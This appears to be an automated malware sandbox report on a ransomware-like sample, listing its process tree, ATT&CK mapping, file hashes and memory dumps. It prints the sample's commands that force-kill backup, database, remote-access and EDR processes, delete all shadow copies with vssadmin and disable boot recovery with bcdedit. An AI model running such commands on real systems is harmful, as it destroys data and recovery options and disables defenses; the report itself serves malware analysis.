PID:2308

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM "notepad++.exe" /F
4⤵
PID:1656

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM "phpStudy.exe" /F
4⤵
PID:2792

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM OPCClient.exe /F
4⤵
PID:1104

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM navicat.exe /F
4⤵
PID:2856

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM SupportAssistAgent.exe /F
4⤵
PID:2844

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM SunloginClient.exe /F
4⤵
PID:1952

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM SOUNDMAN.exe /F
4⤵
PID:2664

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM WeChat.exe /F
4⤵
PID:2204

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM TXPlatform.exe /F
4⤵
PID:2232

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Tencentdll.exe /F
4⤵
PID:2072

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM httpd.exe /F
4⤵
PID:1512

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM jenkins.exe /F
4⤵
PID:2720

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM QQ.exe /F
4⤵
PID:2852

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM HaoZip.exe /F
4⤵
PID:2200

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM HaoZipScan.exe /F
4⤵
- Kills process with taskkill
PID:1660

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM navicat.exe /F
4⤵
PID:2108

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM TSVNCache.exe /F
4⤵
PID:428

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM RAVCpl64.exe /F
4⤵
PID:2016

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM secbizsrv.exe /F
4⤵
- Kills process with taskkill
PID:2752

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM aliwssv.exe /F
4⤵
PID:1452

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Helper_Haozip.exe /F
4⤵
PID:3036

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL5_OA
5⤵
PID:900

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM acrotray.exe /F
4⤵
PID:576

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM "FileZilla Server Interface.exe" /F
4⤵
PID:1540

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM YoudaoNote.exe /F
4⤵
PID:2368

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM YNoteCefRender.exe /F
4⤵
PID:2016

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM idea.exe /F
4⤵
PID:2168

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM fsnotifier.exe /F
4⤵
PID:2516

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM picpick.exe /F
4⤵
PID:876

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM lantern.exe /F
4⤵
PID:2852

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM sysproxy-cmd.exe /F
4⤵
PID:1188

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM service.exe /F
4⤵
PID:1712

C:\Windows\SysWOW64\cmd.exe
cmd /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill /IM benetns.exe /F & @taskkill /IM beserver.exe /F & @taskkill /IM pvlsvr.exe /F & @taskkill /IM bedbg.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM RemoteAssistProcess.exe /F & @taskkill /IM BarMoniService.exe /F & @taskkill /IM GoodGameSrv.exe /F & @taskkill /IM BarCMService.exe /F & @taskkill /IM TsService.exe /F & @taskkill /IM GoodGame.exe /F & @taskkill /IM BarServerView.exe /F & @taskkill /IM IcafeServicesTray.exe /F & @taskkill /IM BsAgent_0.exe /F & @taskkill /IM ControlServer.exe /F & @taskkill /IM DisklessServer.exe /F & @taskkill /IM DumpServer.exe /F & @taskkill /IM NetDiskServer.exe /F & @taskkill /IM PersonUDisk.exe /F & @taskkill /IM service_agent.exe /F & @taskkill /IM SoftMemory.exe /F & @taskkill /IM BarServer.exe /F & @taskkill /IM RtkNGUI64.exe /F & @taskkill /IM Serv-U-Tray.exe /F & @taskkill /IM QQPCSoftTrayTips.exe /F & @taskkill /IM SohuNews.exe /F & @taskkill /IM Serv-U.exe /F & @taskkill /IM QQPCRTP.exe /F & @taskkill /IM EasyFZS.exe /F & @taskkill /IM HaoYiShi.exe /F & @taskkill /IM HysMySQL.exe /F & @taskkill /IM wtautoreg.exe /F & @taskkill /IM ispiritPro.exe /F & @taskkill /IM CAService.exe /F & @taskkill /IM XAssistant.exe /F & @taskkill /IM TrustCA.exe /F & @taskkill /IM GEUU20003.exe /F & @taskkill /IM CertMgr.exe /F & @taskkill /IM eSafe_monitor.exe /F & @taskkill /IM MainExecute.exe /F & @taskkill /IM FastInvoice.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM sesvc.exe /F & @taskkill /IM ScanFileServer.exe /F & @taskkill /IM Nuoadehgcgcd.exe /F & @taskkill /IM OpenFastAssist.exe /F & @taskkill /IM FastInvoiceAssist.exe /F & @taskkill /IM Nuoadfaggcje.exe /F & @taskkill /IM OfficeUpdate.exe /F & @taskkill /IM atkexComSvc.exe /F & @taskkill /IM FileTransferAgent.exe /F & @taskkill /IM MasterReplicatorAgent.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmUnzipService.exe /F & @taskkill /IM NscAuthService.exe /F & @taskkill /IM ReplicaReplicatorAgent.exe /F & @taskkill /IM ASMCUSvc.exe /F & @taskkill /IM OcsAppServerHost.exe /F & @taskkill /IM RtcCdr.exe /F & @taskkill /IM IMMCUSvc.exe /F & @taskkill /IM DataMCUSvc.exe /F & @taskkill /IM MeetingMCUSvc.exe /F & @taskkill /IM QmsSvc.exe /F & @taskkill /IM RTCSrv.exe /F & @taskkill /IM pnopagw.exe /F & @taskkill /IM NscAuth.exe /F & @taskkill /IM Microsoft.ActiveDirectory.WebServices.exe /F & @taskkill /IM DistributedCacheService.exe /F & @taskkill /IM c2wtshost.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Calculation.exe /F & @taskkill /IM schedengine.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Eventing.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Queuing.exe /F & @taskkill /IM WSSADMIN.EXE /F & @taskkill /IM hostcontrollerservice.exe /F & @taskkill /IM noderunner.exe /F & @taskkill /IM OWSTIMER.EXE /F & @taskkill /IM wsstracing.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM MySQLInstallerConsole.exe /F & @taskkill /IM EXCEL.EXE /F & @taskkill /IM consent.exe /F & @taskkill /IM RtkAudioService64.exe /F & @taskkill /IM RAVBg64.exe /F & @taskkill /IM FNPLicensingService64.exe /F & @taskkill /IM VisualSVNServer.exe /F & @taskkill /IM MotionBoard57.exe /F & @taskkill /IM MotionBoardRCService57.exe /F & @taskkill /IM LPManService.exe /F & @taskkill /IM RaRegistry.exe /F & @taskkill /IM RaAutoInstSrv.exe /F & @taskkill /IM RtHDVCpl.exe /F & @taskkill /IM DefenderDaemon.exe /F & @taskkill /IM BestSyncApp.exe /F & @taskkill /IM ApUI.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM LPManNotifier.exe /F & @taskkill /IM FieldAnalyst.exe /F & @taskkill /IM TimingGenerate.exe /F & @taskkill /IM Detector.exe /F & @taskkill /IM Estimator.exe /F & @taskkill /IM FA_Logwriter.exe /F & @taskkill /IM TrackingSrv.exe /F & @taskkill /IM cbInterface.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM ccbService.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM dbsrv16.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM KICManager.exe /F & @taskkill /IM KICMain.exe /F & @taskkill /IM ServerManagerLauncher.exe /F & @taskkill /IM TbossGate.exe /F & @taskkill /IM iusb3mon.exe /F & @taskkill /IM MgrEnvSvc.exe /F & @taskkill /IM Mysoft.Config.WindowsService.exe /F & @taskkill /IM Mysoft.UpgradeService.UpdateService.exe /F & @taskkill /IM hasplms.exe /F & @taskkill /IM Mysoft.Setup.InstallService.exe /F & @taskkill /IM Mysoft.UpgradeService.Dispatcher.exe /F & @taskkill /IM Mysoft.DataCenterService.WindowsHost.exe /F & @taskkill /IM Mysoft.DataCenterService.DataCleaning.exe /F & @taskkill /IM Mysoft.DataCenterService.DataTracking.exe /F & @taskkill /IM Mysoft.SchedulingService.WindowsHost.exe /F & @taskkill /IM ServiceMonitor.exe /F & @taskkill /IM Mysoft.SchedulingService.ExecuteEngine.exe /F & @taskkill /IM AgentX.exe /F & @taskkill /IM host.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM vsjitdebugger.exe /F"
3⤵
PID:2588

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM BackupExec.exe /F
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2796

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Att.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2928

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM mdm.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2352

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM BackupExecManagementService.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1012

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM bengine.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2468

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM benetns.exe /F
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2164

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM beserver.exe /F
4⤵
PID:2804

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM pvlsvr.exe /F
4⤵
PID:2220

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM bedbg.exe /F
4⤵
PID:3064

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM beremote.exe /F
4⤵
PID:2804

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM beremote.exe /F
4⤵
PID:340

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM beremote.exe /F
4⤵
PID:2800

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM beremote.exe /F
4⤵
PID:2716

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM RemoteAssistProcess.exe /F
4⤵
PID:2180

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM BarMoniService.exe /F
4⤵
PID:2352

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM GoodGameSrv.exe /F
4⤵
PID:2796

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM BarCMService.exe /F
4⤵
PID:2164

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM TsService.exe /F
4⤵
PID:2932

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM GoodGame.exe /F
4⤵
PID:2112

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM BarServerView.exe /F
4⤵
PID:1512

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM IcafeServicesTray.exe /F
4⤵
PID:2868

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM BsAgent_0.exe /F
4⤵
PID:2652

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ControlServer.exe /F
4⤵
PID:752

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM DisklessServer.exe /F
4⤵
PID:984

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM DumpServer.exe /F
4⤵
PID:968

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM NetDiskServer.exe /F
4⤵
PID:1468

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM PersonUDisk.exe /F
4⤵
PID:3004

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM service_agent.exe /F
4⤵
PID:2996

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM SoftMemory.exe /F
4⤵
PID:796

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM BarServer.exe /F
4⤵
PID:1784

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM RtkNGUI64.exe /F
4⤵
PID:1796

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Serv-U-Tray.exe /F
4⤵
PID:1788

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM QQPCSoftTrayTips.exe /F
4⤵
- Kills process with taskkill
PID:2976

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM SohuNews.exe /F
4⤵
PID:1888

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Serv-U.exe /F
4⤵
PID:1536

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM QQPCRTP.exe /F
4⤵
PID:1896

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM EasyFZS.exe /F
4⤵
PID:288

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM HaoYiShi.exe /F
4⤵
- Kills process with taskkill
PID:1632

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM HysMySQL.exe /F
4⤵
PID:1816

C:\Windows\SysWOW64\cmd.exe
cmd /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @taskkill /IM tv_w32.exe /F & @taskkill /IM tv_x64.exe /F & @taskkill /IM rdm.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM SecureCRTPortable.exe /F & @taskkill /IM VirtualBox.exe /F & @taskkill /IM VBoxSVC.exe /F & @taskkill /IM VirtualBoxVM.exe /F & @taskkill /IM abs_deployer.exe /F & @taskkill /IM edr_monitor.exe /F & @taskkill /IM sfupdatemgr.exe /F & @taskkill /IM ipc_proxy.exe /F & @taskkill /IM edr_agent.exe /F & @taskkill /IM edr_sec_plan.exe /F & @taskkill /IM sfavsvc.exe /F & @taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F & @taskkill /IM DataShareBox.ShareBoxService.exe /F & @taskkill /IM Jointsky.CloudExchangeService.exe /F & @taskkill /IM Jointsky.CloudExchange.NodeService.ein /F & @taskkill /IM perl.exe /F & @taskkill /IM java.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM TsServer.exe /F & @taskkill /IM AppMain.exe /F & @taskkill /IM easservice.exe /F & @taskkill /IM Kingdee6.1.exe /F & @taskkill /IM QyKernel.exe /F & @taskkill /IM QyFragment.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM ComputerZTray.exe /F & @taskkill /IM ComputerZService.exe /F & @taskkill /IM ClearCache.exe /F & @taskkill /IM ProLiantMonitor.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM bugreport.exe /F & @taskkill /IM GNWebServer.exe /F & @taskkill /IM UI0Detect.exe /F & @taskkill /IM GNCore.exe /F & @taskkill /IM gnwayDDNS.exe /F & @taskkill /IM GNWebHelper.exe /F & @taskkill /IM php-cgi.exe /F & @taskkill /IM ESLUSBService.exe /F & @taskkill /IM CQA.exe /F & @taskkill /IM Kekcoek.pif /F & @taskkill /IM Tinuknx.exe /F & @taskkill /IM servers.exe /F & @taskkill /IM ping.exe /F & @taskkill /IM TianHeng.exe /F & @taskkill /IM K3MobileService.exe /F & @taskkill /IM VSSVC.exe /F & @taskkill /IM Xshell.exe /F & @taskkill /IM XshellCore.exe /F & @taskkill /IM FNPLicensingService.exe /F & @taskkill /IM XYNTService.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM EISService.exe /F & @taskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F & @taskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F & @taskkill /IM U8KeyManagePool.exe /F & @taskkill /IM U8MPool.exe /F & @taskkill /IM U8SCMPool.exe /F & @taskkill /IM UFIDA.U8.Report.SLReportService.exe /F & @taskkill /IM U8TaskService.exe /F & @taskkill /IM U8TaskWorker.exe /F & @taskkill /IM U8WebPool.exe /F & @taskkill /IM U8AllAuthServer.exe /F & @taskkill /IM UFIDA.U8.UAP.ReportService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.Services.exe /F & @taskkill /IM U8WorkerService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.exe /F & @taskkill /IM ShellStub.exe /F & @taskkill /IM U8UpLoadTask.exe /F & @taskkill /IM UfSysHostingService.exe /F & @taskkill /IM UFIDA.UBF.SystemManage.ApplicationService.exe /F & @taskkill /IM UFIDA.U9.CS.Collaboration.MailService.exe /F & @taskkill /IM NotificationService.exe /F & @taskkill /IM UBFdevenv.exe /F & @taskkill /IM UFIDA.U9.SystemManage.SystemManagerClient.exe /F & @taskkill /IM mongod.exe /F & @taskkill /IM SpusCss.exe /F & @taskkill /IM UUDesktop.exe /F & @taskkill /IM KDHRServices.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.Mobile.Servics.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM KDSvrMgrService.exe /F & @taskkill /IM pdfServer.exe /F & @taskkill /IM pdfspeedup.exe /F & @taskkill /IM SufAppServer.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.K3.Mobile.LightPushService.exe /F & @taskkill /IM iMTSSvcMgr.exe /F & @taskkill /IM kdmain.exe /F & @taskkill /IM KDActMGr.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM K3ServiceUpdater.exe /F & @taskkill /IM Aua.exe /F & @taskkill /IM iNethinkSQLBackup.exe /F & @taskkill /IM auaJW.exe /F & @taskkill /IM Scheduler.exe /F & @taskkill /IM bschJW.exe /F & @taskkill /IM SystemTray64.exe /F & @taskkill /IM OfficeDaemon.exe /F & @taskkill /IM OfficeIndex.exe /F & @taskkill /IM OfficeIm.exe /F & @taskkill /IM iNethinkSQLBackupConsole.exe /F & @taskkill /IM OfficeMail.exe /F & @taskkill /IM OfficeTask.exe /F & @taskkill /IM OfficePOP3.exe /F & @taskkill /IM apache.exe /F & @taskkill /IM GnHostService.exe /F /T & @taskkill /IM HwUVPUpgrade.exe /F /T & @taskkill /IM "Kingdee.KIS.UESystemSer.exe" /F /T & @taskkill /IM uvpmonitor.exe /F /T & @taskkill /IM UVPUpgradeService.exe /F /T & @taskkill /IM KDdataUpdate.exe /F /T & @taskkill /IM Portal.exe /F /T & @taskkill /IM U8SMSSrv.exe /F /T & @taskkill /IM "Ufida.T.SM.PublishService.exe" /F /T & @taskkill /IM lta8.exe /F /T & @taskkill /IM UfSvrMgr.exe /F /T & @taskkill /IM AutoUpdateService.exe /F /T & @taskkill /IM MOM.exe /F /T & whoami"
3⤵
PID:2596

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM VBoxSDS.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2284

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM mysqld.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3000

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM TeamViewer_Service.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2284

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM TeamViewer.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2808

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM CasLicenceServer.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2352

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM tv_w32.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2720

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM tv_x64.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2220

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM rdm.exe /F
4⤵
PID:2240

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM SecureCRT.exe /F
4⤵
PID:2904

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM SecureCRTPortable.exe /F
4⤵
PID:2764

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM VirtualBox.exe /F
4⤵
PID:2512

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM VBoxSVC.exe /F
4⤵
PID:2868

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM VirtualBoxVM.exe /F
4⤵
PID:3020

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM abs_deployer.exe /F
4⤵
PID:2156

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM edr_monitor.exe /F
4⤵
PID:2196

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM sfupdatemgr.exe /F
4⤵
PID:2148

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ipc_proxy.exe /F
4⤵
- Kills process with taskkill
PID:2784

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM edr_agent.exe /F
4⤵
PID:2608

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM edr_sec_plan.exe /F
4⤵
PID:2512

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM sfavsvc.exe /F
4⤵
PID:2812

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F
4⤵
PID:2320

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM DataShareBox.ShareBoxService.exe /F
4⤵
- Kills process with taskkill
PID:2920

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Jointsky.CloudExchangeService.exe /F
4⤵
PID:2764

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Jointsky.CloudExchange.NodeService.ein /F
4⤵
PID:3016

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM perl.exe /F
4⤵
PID:1656

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM java.exe /F
4⤵
PID:2120

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM emagent.exe /F
4⤵
PID:1952

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM TsServer.exe /F
4⤵
PID:2080

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM AppMain.exe /F
4⤵
PID:1896

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM easservice.exe /F
4⤵
PID:2428

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Kingdee6.1.exe /F
4⤵
PID:2836

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM QyKernel.exe /F
4⤵
PID:3064

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM QyFragment.exe /F
4⤵
PID:2200

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM UserClient.exe /F
4⤵
PID:2984

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM GNCEFExternal.exe /F
4⤵
PID:1896

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM GNCEFExternal.exe /F
4⤵
PID:2252

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM GNCEFExternal.exe /F
4⤵
PID:916

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ComputerZTray.exe /F
4⤵
PID:2156

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ComputerZService.exe /F
4⤵
PID:988

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ClearCache.exe /F
4⤵
PID:2468

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ProLiantMonitor.exe /F
4⤵
PID:1912

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ChsIME.exe /F
4⤵
PID:2512

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM bugreport.exe /F
4⤵
PID:1600

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM GNWebServer.exe /F
4⤵
PID:2020

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM UI0Detect.exe /F
4⤵
PID:1084

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM GNCore.exe /F
4⤵
PID:2548

C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe
"C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"
2⤵
- Modifies extensions of user files
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:560

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
3⤵
PID:1612

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} bootstatuspolicy ignoreallfailures
4⤵
- Modifies boot configuration data using bcdedit
PID:2576

C:\Windows\system32\vssadmin.exe
"C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:1376

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c bcdedit /set {current} recoveryenabled no
3⤵
PID:2220

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} recoveryenabled no
4⤵
- Modifies boot configuration data using bcdedit
PID:2568

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1728624770-931410435-482059785564790011307624992-16580612951511727247-232391030"
1⤵
PID:1736

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VMwareHostd
1⤵
PID:2928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop UIODetect
1⤵
PID:2896

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ReportServer$SHOPCONTROL9"
1⤵
PID:2888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MsDtsServer130"
1⤵
PID:2872

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2444

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TeamViewer8
1⤵
PID:1836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SSISTELEMETRY130"
1⤵
PID:340

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012"
1⤵
PID:2016

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

2

T1031

Privilege Escalation

Defense Evasion

File Deletion

2

T1107

Impair Defenses

1

T1562

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

3

T1490

Service Stop

1

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\F.bat
MD5
41bcad545aaf08d4617c7241fe36267c

SHA1
fdcbb1e633c4a07a55ad0779f0c4d24bb1af830d

SHA256
9820bab84c400a37a46db96d999335bf2fb67623931eac0a1a3e99aa19a90b87

SHA512
1501232e89b2f706c34b745134778713dd529e4b20e5343ca7f9e25e60ba0376cc2d4dfd943e96f72d2af6f4abe5cf7632a826b92b00d38425e744ae43517724

Download Submit
memory/560-74-0x0000000074B21000-0x0000000074B23000-memory.dmp

Filesize
8KB

Download
memory/560-70-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/560-63-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/560-91-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/560-66-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/560-61-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/560-62-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/560-72-0x000000000040AF56-mapping.dmp

Download
memory/560-64-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/560-65-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/576-94-0x0000000000000000-mapping.dmp

Download
memory/604-86-0x0000000000000000-mapping.dmp

Download
memory/632-69-0x0000000000000000-mapping.dmp

Download
memory/668-93-0x0000000000000000-mapping.dmp

Download
memory/876-78-0x0000000000000000-mapping.dmp

Download
memory/916-90-0x0000000000000000-mapping.dmp

Download
memory/988-82-0x0000000000000000-mapping.dmp

Download
memory/1028-99-0x0000000000000000-mapping.dmp

Download
memory/1032-60-0x0000000000000000-mapping.dmp

Download
memory/1092-84-0x0000000000000000-mapping.dmp

Download
memory/1108-77-0x0000000000000000-mapping.dmp

Download
memory/1124-68-0x0000000000000000-mapping.dmp

Download
memory/1188-97-0x0000000000000000-mapping.dmp

Download
memory/1208-98-0x0000000000000000-mapping.dmp

Download
memory/1208-110-0x0000000000000000-mapping.dmp

Download
memory/1212-73-0x0000000000000000-mapping.dmp

Download
memory/1244-95-0x0000000000000000-mapping.dmp

Download
memory/1376-100-0x0000000000000000-mapping.dmp

Download
memory/1512-108-0x0000000000000000-mapping.dmp

Download
